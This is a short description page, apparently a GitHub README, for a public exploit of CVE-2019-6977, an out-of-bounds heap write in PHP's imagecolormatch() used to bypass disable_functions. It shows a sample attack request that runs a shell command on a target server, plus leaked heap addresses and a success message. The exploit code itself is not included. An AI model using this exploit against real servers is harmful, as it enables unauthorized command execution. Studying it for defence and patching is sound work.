imagecolormatch() OOB Heap Write exploit¶

Info¶

My binary exploit for CVE-2019-6977. Bug found by Simon Scannell from RIPS.

PHP bug is here. Helps you bypass PHP's disable_functions INI directive.

I commented a lot to help people that are new to binary PHP exploitation. Hope this helps.

Output¶

GET http://target.com/exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi

Nenuphar.ce: 0x7fe834a10018
Nenuphar2.ce: 0x7fe834a10d70
Nenuphar.properties: 0x7fe834a01230
z.val: 0x7fe834aaea18
Difference: 0xad7e8

Exploit SUCCESSFUL !

From:https://github.com/cfreal/exploits/tree/master/CVE-2019-6977-imagecolormatch